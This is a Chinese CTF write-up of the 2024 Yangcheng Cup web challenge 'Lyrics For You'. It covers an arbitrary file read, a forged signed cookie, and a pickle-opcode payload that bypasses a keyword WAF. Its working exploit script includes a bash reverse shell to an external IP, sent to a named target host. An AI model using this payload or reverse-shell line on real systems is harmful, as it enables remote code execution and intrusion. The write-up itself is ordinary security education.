2024羊城杯 Web Wp

GKDf1sh 2024-09-30 13:33:00 阅读 84

Lyrics For You

进去之后发现lyrics?lyrics={filename}这个接口可以读取任意文件

lyrics?lyrics=app.py把源码读下来

然后顺着app.py里import的库把整个源码都读下来。

发现一个board接口和login接口,大概就是:login界面将输入的username经过set_cookie函数配置了cookie,然后在board界面解码cookie,并且将cookie中user的值放进模板里面渲染。但是这道题问题在于pickle的反序列化漏洞,a = pickle.loads(data)。

本地启动一个flask进行测试

app.py

<code>import os

import random

from config.secret_key import secret_code

from flask import Flask, make_response, request, render_template

from cookie import set_cookie, cookie_check, get_cookie

import pickle

import secrets

app = Flask(__name__)

app.secret_key = secrets.token_bytes(16)

class UserData:

def __init__(self, username):

self.username = username

def Waf(data):

blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

valid = False

for word in blacklist:

if word.lower() in data.lower():

valid = True

break

return valid

@app.route("/board", methods=['GET'])

def board():

invalid = cookie_check("user", secret=secret_code)

if invalid:

return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)

print(data)

if isinstance(data, bytes):

a = pickle.loads(data)

data = str(data, encoding="unicode_escape")code>

return f"User data: { data}" # 返回用户数据的字符串表示

else:

return f"Sorry,User data: { data}" # 返回用户数据的字符串表示

if __name__ == "__main__":

os.chdir(os.path.dirname(__file__))

app.run(debug=True, host="0.0.0.0", port=8111)code>

cookie.py

import base64

import hashlib

import hmac

import pickle

from flask import make_response, request

unicode = str

basestring = str # Quoted from python bottle template, thanks :D

def cookie_encode(data, key):

msg = base64.b64encode(pickle.dumps(data, -1))

sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())

return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):

data = tob(data)

if cookie_is_encoded(data):

sig, msg = data.split(tob('?'), 1)

if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):

return pickle.loads(base64.b64decode(msg))

return None

def waf(data):

blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

valid = False

for word in blacklist:

if word in data:

valid = True

# print(word)

break

return valid

def cookie_check(key, secret=None):

a = request.cookies.get(key)

data = tob(request.cookies.get(key))

if data:

if cookie_is_encoded(data):

sig, msg = data.split(tob('?'), 1)

if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):

res = base64.b64decode(msg)

if waf(res):

return True

else:

return False

return True

def tob(s, enc='utf8'):code>

return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):

value = request.cookies.get(key)

if secret and value:

dec = cookie_decode(value, secret)

print(dec)

print(dec[1])

return dec[1] if dec and dec[0] == key else default

return value or default

def cookie_is_encoded(data):

return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):

return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):

if secret:

value = touni(cookie_encode((name, value), secret))

resp = make_response("success")

resp.set_cookie("user", value, max_age=3600)

return resp

elif not isinstance(value, basestring):

raise TypeError('Secret key missing for non-string Cookie.')

if len(value) > 4096:

raise ValueError('Cookie value too long.')

def touni(s, enc='utf8', err='strict'):code>

return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

其中要执行到pickle.loads(),需要先正确按他的方式编码cookie,然后再过waf,最后再通过isinstance检查。

1、cookie编码直接用app.py中原有的代码,改一改就行,有些地方有坑 ,理解了代码逻辑应该问题不大。

2、waf禁用了R指令,pickle反序列化常用的__reduce__用不了。利用https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0Dy7GQDt%3DG%3DGCDlhjeauADc7lrxQwxxhID这篇文章中给出的思路,利用OPCODE(相当于pickle的另一种可以被解析的编码)来绕过

3、前面都写对了isinstance检查直接就能过

于是构造出下面的payload来实现RCE 反弹shell(反弹shell bash -i不行,前面必须加个bash -c新启动一个bash):

#-*- coding : utf-8-*-

# coding: utf-8

import base64

import hashlib

import hmac

import pickle

from flask import make_response, request

import requests

import os

unicode = str

basestring = str # Quoted from python bottle template, thanks :D

def cookie_encode(data, key):

# 序列化对象并使用 base64 编码

msg = base64.b64encode(pickle.dumps(data, protocol=-1)).decode('gbk')

# 生成 HMAC 签名,并使用 base64 编码

sig = base64.b64encode(hmac.new(tob(key), tob(msg), digestmod=hashlib.md5).digest()).decode('utf-8')

# 组合签名和消息字符串

return '!' + sig + '?' + msg

def waf(data):

blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

valid = False

for word in blacklist:

if word in data:

valid = True

# print(word)

break

return valid

def tob(s):

"""Convert a string to bytes using UTF-8 encoding."""

return s.encode('utf-8')

def _lscmp(a, b):

return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):

if secret:

value = touni(cookie_encode((name, value), secret))

return value

def touni(s, enc='utf8', err='strict'):code>

return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

class UserData:

def __init__(self, username):

self.username = username

class U1:

def __setstate__(self, state):

return os.system("echo 111")

malicious_payload=b'''(cos

system

S'bash -c "bash -i >& /dev/tcp/20.243.255.185/2333 0>&1"'

o.'''

secret_code = "EnjoyThePlayTime123456"

# malicious_payload = pickle.dumps(b'\x80\x03c__main__\nUserData\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc\nb.')

# malicious_payload = pickle.dumps(UserData())

print(isinstance(malicious_payload, bytes))

# loaded_obj = pickle.loads(malicious_payload)

username = malicious_payload

user = UserData(username)

res = username

malicious_cookie = set_cookie("user", res, secret=secret_code)

cookies = { 'user': malicious_cookie}

response = requests.get("http://139.155.126.78:33886/board", cookies=cookies)

print(response.text)

反弹shell之后根目录有个readflag,执行就得到flag

DASCTF{86812765238271334845018089677676}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。